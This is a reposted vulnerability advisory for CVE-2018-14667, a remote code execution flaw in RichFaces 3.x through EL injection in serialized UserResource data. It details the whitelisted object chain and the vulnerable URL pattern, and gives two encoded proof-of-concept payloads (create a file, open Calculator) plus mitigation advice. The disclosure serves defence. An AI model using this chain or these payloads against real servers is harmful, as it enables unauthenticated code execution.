Richfaces 3.x Remote Code Execution

Risk: High
Local: No
Remote: Yes

Original report+advisories: TITLE: ==================== Unauthenticated Remote Code execution in WebApps using Richfaces 3.X all versions. RESUME ==================== RichFaces Framework 3.X through 3.3.4 (all versions) is vulnerable to Expression Language (EL) Injection via UserResource resource, allowing an unauthenticated remote attacker to execute Java arbitrary code and potentialy OS commanding using a special chain of java serialized objects inside a org.ajax4jsf.resource.UserResource$UriData. DETAILS ==================== PS: others details can be seen on the slides: The Richfaces expects to receive a serialized resource of the type "org.ajax4jsf.resource.UserResource" via URLs with the pattern: "/a4j/s/3_3_3.Finalorg.ajax4jsf.resource.UserResource/n/s/{HashCode of the MimeType Resource}/DATA/{Encoded Serialized Object}". When this occurs, a check of allowed types is made using a restrict whitelist (Look-Ahead) in order to avoid deserialization vulnerabilities. Following is the Look-Ahead strict whitelist with the allowed types: 1) org.ajax4jsf.resource.InternetResource 2) org.ajax4jsf.resource.SerializableResource 3) javax.el.Expression 4) javax.faces.el.MethodBinding 5) javax.faces.component.StateHolderSaver 6) java.awt.Color However, although it is not vulnerable to deserialization, it is possible to construct a special chain of objects using only allowed types and containing a tainted Expression Language (EL) in a specific way that result in it being automatically evaluated by the UserResource class after the correct deserialization of the chain (after the cast, not before). In order to be vulnerable, an application only need to: 1) Use the mediaOutput feature in any point at any time (the attacker don't need to know where this feature is used. It just needs that this functionality had been used at any time by the application). If the point (1) is satisfied, the application will contains a resource inside an internal HashMap with the key like the following: /----- Resource Name \/ Key: org.ajax4jsf.resource.UserResource/n/s/-1487394660 <--- HasCode of resource MimeType (eg "image/jpeg") /\ /\ | \____ if the resource is of session scope (/s) or not (/n) \_______ if the resource is cacheable (/c) or not cacheable (/n) The original intent of the UserResource is to create or restore a resource (like images, flash, audio, etc) and send it back/draw to the user. So, this is one of the most commons features used by richfaces web applications. An attacker can abuse of this feature forcing the application to evaluate his tainted EL using a chain like the following: 1] [Obj] org.ajax4jsf.resource.UserResource$UriData createContent: 2] [Obj]javax.faces.component.StateHolderSaver savedState: 3] [Obj] com.sun.facelets.el.TagMethodExpression orig: 4] [obj] org.jboss.el.MethodExpressionImpl exp: "${OUR PAYLOAD}" <----- The malicious EL can be put here. In the previous chain, notice that all types used are allowed by the look-ahead protection: 1] "org.ajax4jsf.resource.UserResource$UriData" is an "InternetResourceBase" that is an "InternetResource" (whitelisted); 2] "javax.faces.component.StateHolderSaver" (whitelisted) 3] "com.sun.facelets.el.TagMethodExpression" is an "MethodExpression" that is and "Expression" (whitelisted) 4] "org.jboss.el.MethodExpressionImpl" is and "MethodExpression" (whitelisted) Notice that the points [2] and [3] of the chain can also be changed in order to exploit different platforms. After create the exploit chain, it is needed to encode it properly and make an HTTP GET in the proper UserResource URL with the payload. eg. /a4j/s/3_3_3.Finalorg.ajax4jsf.resource.UserResource/n/n/DATA/{hashCode of mime}/payload The {hashCode of MimeType} is not always needed (depends on how the application uses these features). When the payload is received by the app, the chain is deserialized and the UserResource.send() method is invoked by the ResourceLifecycle.sendResource(). Inside this method, the content of UserResource$UriData is restored and our MethodExpression is invoked. Thus, our tainted data (EL) has reached a taint sink (MethodExpression.invoke()), leading to the EL evaluation. Stacktrace example: org.jboss.el.MethodExpressionImpl.invoke( <- This contains user controlled data! org.ajax4jsf.resource.UserResource.send( org.ajax4jsf.resource.ResourceLifecycle.sendResource( org.ajax4jsf.resource.ResourceLifecycle.send( org.ajax4jsf.resource.InternetResourceService.serviceResource( org.ajax4jsf.resource.ResourceBuilderImpl.decrypt( org.ajax4jsf.resource.ResourceBuilderImpl.getResourceDataForKey( org.ajax4jsf.resource.InternetResourceService.serviceResource( org.ajax4jsf.resource.InternetResourceService.serviceResource( # PROOF OF CONCEPT # ==================== PS: You can see PoCs using JBoss and Tomcat in the following video: In order to demonstrate this vulnerability, we can deploy a richfaces demo application in a Java Application Server/Container (eg. JBoss, tomcat, Jetty, WebLogic, etc). For the PoC, let's use the following configuration: 1) Photoalbum demo application (that uses Richfaces v 3.3.4) 2) JBoss AS 5.1.0.GA <> or JBoss EAP 5.1.2 * Deploying the lab: 1) Get the demo app: 2) Extract the 3) Copy the app in richfaces-examples-3.3.4.Final/photoalbum/dist/photoalbum-ear-3.3.4.Final.ear to the JBoss deploy dir in jboss-5.1.0.GA/server/default/deploy <> (for 5.1.0.GA <>) or jboss-eap-5.1/jboss-as/server/default/deploy (for 5.1.2 eap) 4) Start JBoss Application Server: cd bin ; ./ -b 5) Open the photoalbum index page. Eg. 6) Use the following PoCs (tested in JBoss EAP 5.1.2 and JBoss AS 5.1.0.GA <>) 1) (LINUX) Execute command: touch /tmp/richfaces0day_joaomatosf eg.!bpYrL9ArSgehBqL7YpMBGsRakFai1Z2LXStoB7k2-Tb7IRkZpyZtKml3rwoePHqzate7MGz14KX!g2CiAgiiFdnksXS5pJ84c17b9773v-EYaPhktQJwxTLqdT0mCYjCx0RWzGklwfD-Irmt9Ai-Gf02o8GHGjBsUgTWpqXwpKwFk62UlzFMEORhEvdlCI704KDVCruOJ!CcxhqwUguY97jFA!m4VXMCqqGUjkvFz1FyXoYkWGRzJUUjpt1rBO6I7OYdAdXST!c3pp98!ZLuwGNFhyKMjTmHua010PHai4S5-GwcWfiisPC6doll2GHNMeMP8NuRjOl8vITTpKZQlQGMrKGUcbuY9Im25fxQqncTQyXosoBYOgoQKnhbG3aQffjPobbr77-nXrdqHCj!3G7TO9evOz8frRzwyO8g!O-jLQrTSW9n28xV1n315k!Rz6faHttH9zI2ifYGt8IApaQnfdRTDZZT2ofyGRQS5pIc-VirF4LIuGC2igwIR00maC1RWEsiojcSUdSA-bWBwzGYcj1VJMx3y9bLoTlOXn04NMdpZKiyQkri6g!FtpchZpH!arKKzGuP0klyhytNL2JZtDcBCg0jD6u6qhJB4V92Hnw7fu5jdtVJC7phoVT!hqMS7ZUWFVYByTMLRyvfleG6oVTqlxrwd0w4bZfdP0ChbuqYUqlD3bs5tXpy9PXx!as72xwYSOnmOMcoWBKS7eAZjNwa6H-AZCFGGE_ 2) (MACOS) Open Calculator eg.!Dqvdev6s0PGDcaLkgdM0ywmEtMj2kyMtcRsXVDem1UTK9rfgMtgj-Tl7!XYF8TjkSa0FJDCkvCWjjeTLCPYYoiDlc7CUV2oQn7qVDccT6EJzDWhIlMdnmPU3dUj!cxzaksCuW8nPcUBethRIZFMlNSOG7Wtk7olky7pNvYJ31!-8Piy1efWzWoNeFAlKIxdzCj3R7aVnMROw8HjevplhwWTlYuuQzbpDmm!DF2UloolJefcZLM5KI0kJI1jFJ2F-MW2U3ZXS6Ue4nhUpQ5AIwdBig0nK5MO-he3Ptw-!mXP3MvaiVu8h!uP9Prp8!avx7sXPUI7-CsH0bSkaaU3su3kqm08!PU70OfjrW8tg9uYvAR3k0Pg4DFZBs-itk660ntA5kNKkkTaa5cjOVnWcRcUAsFxqSDOhM0WBHGoojIdTqSCrD0aMRgHIbcnCoy5ufL1nJheUYePbq6Vioomp2RisRUeF2plEdoXVgmbGAa5SlaqRkqNVMP6lsAuYbJjXIYFeVoXG937n39dmZ4swzE5VyzcMI!gnHJVnOrcuuAhJmFo-Xv0k61bkoVgybcDmNuN!OOX58wkSgzJ2x6YUKFj3Xq2qX5i!NXpnYt72JwbphRl-MSoWBKS7d-ZitwS6H-Ahv8F1M_ PS: before execute the HTTP GET with the PoCs, you need to open the index page of the app (eg. PS: Note that for other application servers, you may need to generate other payloads. MITIGATION ADVICES ==================== Since richfaces has reached the end of life, users should apply their own fix. As a suggestion users can perform the sanitization of any EL received from the untrusted sources (tainted) or even to disable EL evaluation in the Richfaces. As the execution is triggered internally by the Richfaces lib, you can follow some paths, eg: Whenever your application receives a serialized object that will be catched by the richfaces, the method getResourceDataForKey of the class ResourceBuilderImpl invokes the class LookAheadObjectInputStream which will ensure that only the whitelisted types can be deserilized. After that, you can include a second whitelist to ensure that only trusted ELs used by your application can be allowed. FINAL CONSIDERATIONS ==================== RedHat rated this with CVSS3 Base Score 9.8 and issued the cve id CVE-2018-14667. Ref: Until now, they released the following advisories about affected products: Since Richfaces framework is used by many private and opensource projects, it is very important to check your assets to ensure that you are not vulnerable. --------------- Joao Filho Matos Figueiredo Twitter @joaomatosf ------ JoAPSo F M Figueiredo <>

Vote for this issue:


Thanks for you vote!


Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2018,


Back to Top